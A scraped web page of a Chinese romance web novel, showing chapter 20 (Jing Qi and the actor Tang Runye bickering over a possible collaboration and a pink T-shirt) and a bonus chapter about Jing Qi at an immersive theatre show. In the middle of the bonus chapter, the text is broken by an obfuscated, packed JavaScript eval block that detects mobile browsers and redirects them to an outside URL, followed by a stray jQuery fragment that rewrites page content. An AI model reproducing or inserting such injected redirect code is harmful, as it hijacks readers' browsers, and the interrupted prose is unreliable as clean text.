默认冷灰
24号文字
方正启体

20. 特别的人(含番外一)

作者:富美本书字数:K更新时间:
    两人浪费了太多时间插科打诨,正事没聊几句,外头就有人敲门。


    是唐润也的助理小杰。


    他看见唐润也身上这件崭新的还有一丝妖娆的粉红色T恤,说话都开始卡壳:“阿润哥……你……衣服……”难怪刚才电话里,浔哥让他看着点,这才离开视线多久啊,衣服都离奇换了一件。


    被泼水了,还是被撕烂了?


    可这位绮总看起来也不是那么凶悍的角色。


    面对小杰揣测的眼神,唐润也倒是悠然自得,摆出老板架子教导他:“学着点,别老给我买那几个牌子,也要有点突破。”


    小杰若有所悟,又跑到唐润也的身边小声说道:“浔哥刚打电话来催了。”


    “叫我来的是他,催我走的还是他。烦不烦啊。”


    小杰只好尴尬地赔笑,他是工作室的食物链底层——浔哥得罪不起,阿润哥的心思更是要顺着。


    “好了好了,再给我五分钟就行。”唐润也不至于给自己人难堪。他把小杰请出了办公室,又把办公室的门重新关上。


    重新坐回沙发的他竟然有些如坐针毡的感觉,一会儿抱着靠枕玩流苏,一会儿又把靠枕垫到了背后。


    他原本的打算是在玩笑之间就把正经事情谈好的,可小杰的出现,让气氛变得商务——仿佛每一句话都是试探、都是算计、都要有回音,得失利益要白纸黑字敲得清清楚楚。这似乎并不适合他和景绮。


    “浔哥让你来找我聊合作吧。”景绮直接点破。毕竟唐润也欲言又止的模样,实在让人看得很不顺眼。五分钟,难道四分五十九秒都打算在这儿扮演一个抓耳挠腮的委屈小男人?


    “你还是那么聪明!”张不开嘴的事情被对方先说出口,唐润也兴奋地当即打了个响指。


    景绮心想,我再傻也比你聪明吧。


    唐润也冲她挑了挑眉毛,示意她识相地继续说下去,比如邀请他出演她的男主角啦。他还是很有实验精神的,并不介意和她这种新新团队合作。


    可景绮只是不偏不倚地挪走了目光。她略微有些烦躁,下意识地抓了抓头发,而后像是彻底放弃了,一个歪头倒在了自己的手掌上:“唉,你们倒是看得起我。”


    “对了,你之前演的短剧不是热度挺高嘛。不乘胜追击,继续演点?”景绮反问。她其实并不是不愿意和唐润也合作,只不过眼下这个情况,她在万象传媒还是两眼抹黑的状态,哪里敢无中生有,轻易许诺什么。假如和唐润也是点头之交,她倒是能忍下心给他递个剧本,随手找个有些流量的组,哪怕编导水平生拼硬凑、要给平台公司太子公主做配、大概率会播得无声无息,她也不内疚。


    可唐润也不一样。


    花美男演员是最等不起的。


    美则美矣,花期短暂,一旦过了三十,和五十又有什么差别呢。


    这个圈子每时每刻都在冒出年轻流量,更清澈、更无辜,且一天比一天修炼得更乖巧、更贴心,粉丝们爱谁不是爱。


    唐润也大呼一口气,他足够坦诚,直言道:“短剧又不赚钱,演再认真也不可能当成代表作。还要被营销号传言,说我是大屏幕去不了,小屏幕没人找,沦落到跟网红抢饭碗。”他突然“哼”了一声,将矛头对准景绮,“要不是你劝我,我才不去演。”


    “喂!你讲不讲道理!难道我是故意害你啊!我现在是泥菩萨过河,根本搞不懂这里的人都是什么路数,怎么好轻举妄动。你以为我不想跟你合作嘛!我当然想啊,我还想和婷婷合作,我还想专心改编我自己的小说。但我配吗!”莫名背锅的景绮瞬间炸了毛,她原本就因为新的环境有些焦虑,索性把坏情绪打包成一团废纸扔到唐润也身上。


    反正是唐润也,她没有任何需要伪装的必要。


    唐润也被吓到噤声:“你反应要不要这么大嘛。”


    “超大!”景绮讨厌未知的一切。她喜欢写小说的感觉,或许就是希望自己的生活能像小说一样沿着既定的情节往前滚动,就算不能每个细节都严丝合缝,至少不能偏离大纲。可从小到大,她计划得越精确的事情越容易被打乱。譬如这次,她是计划明年夏天再回上海的,那时候,新家可以拎包入住了,Kingsley会乖乖陪着自己一道回来,回来也不是当什么副总,不用分出宝贵时间去应付创作以外的人事物。


    也许下次她该逆向计划,这样才能收获一个理想走势。


    未来变成茫茫大海无边无际,跳进去,所有在岸上的清晰规划都失效,每一次划动手臂都有可能偏离方向。景绮对事物的掌控、世俗的成功仍旧有执念,于是一时没控制住,为命运无常、前途渺茫潸然泪下。


    她想念走上坡路的滋味,最害怕再也走不上上坡路。她笃信努力出奇迹,又知道奇迹不会降临在每一个人身上。


    唐润也的嘴巴张成了一个小小的“O”,他知道景绮向来心情起伏如同夏日雷暴雨,也知道她过会儿就能自愈,但还是抱着餐巾纸盒,老老实实地站到了她身边。


    他用力地抿了抿嘴巴,仿佛绞尽脑汁有了答案:“其实吧,我们内娱没这么吓人的。”他劝说的内容和她心中的执念简直风马牛不相及。


    “我感觉很多剧组都是草台班子。你放心大胆干呗。”唐润也还在继续说。


    这一刻,景绮庆幸自己的脸被埋在了餐巾纸里,这样就不会让唐润也发现自己又哭又笑的脸。


    王铭乔敲门而入的时候,看到的便是这一幕——趴在桌上显然在闹委屈的景绮、和仿佛干了坏事不知如何弥补的唐润也。


    看见王铭乔,唐润也仿佛见到了救星,冲他连连招手:“麻烦你赶紧哄哄你老婆。”他甚至都不敢出声音,只是夸张地做着嘴型。


    王铭乔皱了皱眉,用眼神上上下下地质问他。


    “我只是来叙个旧、聊个合作。”唐润也一副一言难尽的样子。也许他就不该向刘浔请缨,他和景绮哪里能谈得好什么公事。


    “他把我衣服抢了!全国最后一件!”心中情绪退散,满血复活的景绮全力出击唐润也。


    唐润也愣是没想到身上的粉色T恤还能引出后续情节。他瞪圆了眼睛,指了指自己,又指了指垃圾桶,差些失笑出声。他发誓,要不是王铭乔在场,他绝对要当场脱了这件粉色T恤,换上垃圾桶里的那件转身走人。


    欲哭无泪,诉苦无门。偏偏王铭乔也是个耗人的,就这么抱着胸、干站着,一言不发,好像一个铁面无私的判官。


    唐润也忽然觉得胸口发闷,印堂发青。他一边扯着T恤替自己扇风,一边打开手机付款码:“绮总,多谢你借我衣服呀,我何德何能,不好意思白要的。多少钱,我今天无论如何必须得买下来。你别跟我客气啊。”末了,俯下身的他咬牙切齿地加了三个字,“行、了、吧!”


    “嗯。”景绮轻巧点头,十分辣手地输入了标牌价的两倍。


    —————————————————————————————————————


    番外一之沉浸式戏剧


    Kingsley出生一年多的时候,景绮觉得自己陷入了“妈妈牢笼”。她生活的一切好像都是为了配合Kingsley的吃喝拉撒,她不再是作为景绮的独立个体。对于这个想法,她很惭愧,她甚至加了妈妈群,打算效仿一下优秀的妈妈模板。


    当然,结局是当晚她就退群了。


    手机震动了一下,远在上海的妈妈给景绮发了一条信息,说想让Kingsley在上海多呆一周,她回复“好啊,妈妈你辛苦了”,同一时间,她的心里闪过一个邪恶的念头——她希望Kingsley在上海再待久一些儿。好让她有独处的时间,去看展、去看戏,去学习新事物、吸收新文化


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116444|164187||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    今晚她就约了一场戏。在全世界十几个城市演出且场场爆满的中世纪沉浸式戏剧《无眠之城》,首次造访香港。她是看见新闻临时起意,托了谢骄才拿到这张门票。


    灯光渐渐暗下,人潮被角落里唯一的光点吸引,犹如一条扭动的蚕茧向着入口而去。


    高脚酒杯被一一没收,取而代之的是寡淡的白色面具。景绮和其他人一样,遵守沉浸式话剧的规矩,将其乖乖戴上。


    面具后的红色丝绒系带擦过景绮的后脖,她还没来得及感受那股瘙痒,就被第一个场景里高昂的美式唱腔吸引走目光。


    女演员的巴掌脸上盛放着浓烈的五官。她佩戴最硕大的宝石,从额头闪烁到脚尖,一身油绿色的希腊式袍子,像是荒草地里唯一的生机。


    她痛苦、她狰狞,摇晃的玻璃吊灯,八方丛生的光束,好似无形的枝蔓将她牢牢束缚。她捂着胸口,苦苦挣扎,哀歌里全是难以逃脱的绝望。


    为什么呢?


    入戏的景绮盯着女演员紧紧不放。女演员的倾情演绎,让她对接下来的情节充满期待。她甚至忘了自己最初只是为了逃脱“妈妈牢笼”才来的。


    谁知道情节推进到一半有人打乱。


    拜托,她还没见到女演员唱词中的国王和女巫呢!难道她要为了不一样的故事线再来刷第二次,这可不像是她会干出来的事情。


    心还没有决定,脚已经做出了选择。


    这位即使戴着面具的男巫完美诠释了一句话,帅是一种感觉。


    景绮也算见过不少帅哥美女,可是和他视线对接的那一刻,她的脑海里只剩下浅薄的三个字“好帅啊”。


    而后她才渐渐清醒,想起他也是今晚的演员,他的身上会触发新的情节。


    会比主线剧情更精彩吗?值得吗?


    “跟我走吧,让我告诉你答案。”男巫咬字清澈,一双绅士手若有似无地绕在景绮的腰上。


    景绮乖乖点头,跟随他前往全新的只有他们两个人的场景。


    男巫的舞台基本功很好,走位丝滑,不知何时已经松开了手,独自站到了场景的正中央。大段的人物自白,一连串的长短句交替,讲述着人物从出生到现在、从不幸到更不幸。


    空气里弥漫着巧克力血浆的粘腻,景绮的目光变得焦灼,彻底粘在了这段支线故事上。


    男巫咆哮着,他褪去外衣、褪去背心,愤怒的姿态就像在剥去自己生命的烙印。他发出卑微请求,希望景绮作为他的侍女,为他拿来睡袍。


    “好心的女士,你可以替我穿上吗?”他赤裸着上半身,笔直地站在原地。身材虽然清瘦,腹肌却隐约可见,因此楚楚可怜之中还透着一丝不可亵玩。


    景绮竟然不合时宜地红了脸。


    她感激主办方给每个观众也配了面具,避免了此刻的尴尬。


    “女士,你不愿意吗?”


    景绮摇摇头,大方地替他穿上睡袍。她刚要撤走自己的手,又被捉住,忽然响起间杂着尖叫的舞曲,他牵着她开始起舞。


    舞步落在每一个角落。


    就这么放任自己做一会儿戏中人吧。景绮这么想着,舞步也愈发松弛了。


    舞曲的最后,男巫的吻落在景绮的面具上。又或许压根没有触碰到。他们是专业的戏剧演员,绝不会逾越半分距离,破坏表演的艺术性。


    可景绮却有一秒的心脏漏拍。她是真的缺爱。


    “女士,我们还能再见吗?”男巫乞求一般地问道。


    “再见的时候,你还会吻我吗?”景绮甚至模仿了他的播音腔。她是沉浸式话剧里的观众,却把自己当成了演员,创造了意外的台词。


    男巫愣了愣,慌乱不过三秒,还是稳住了语气:“只要你愿意。”


    景绮轻笑,双手合十告别这段支线故事:“抱歉。冒犯了。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)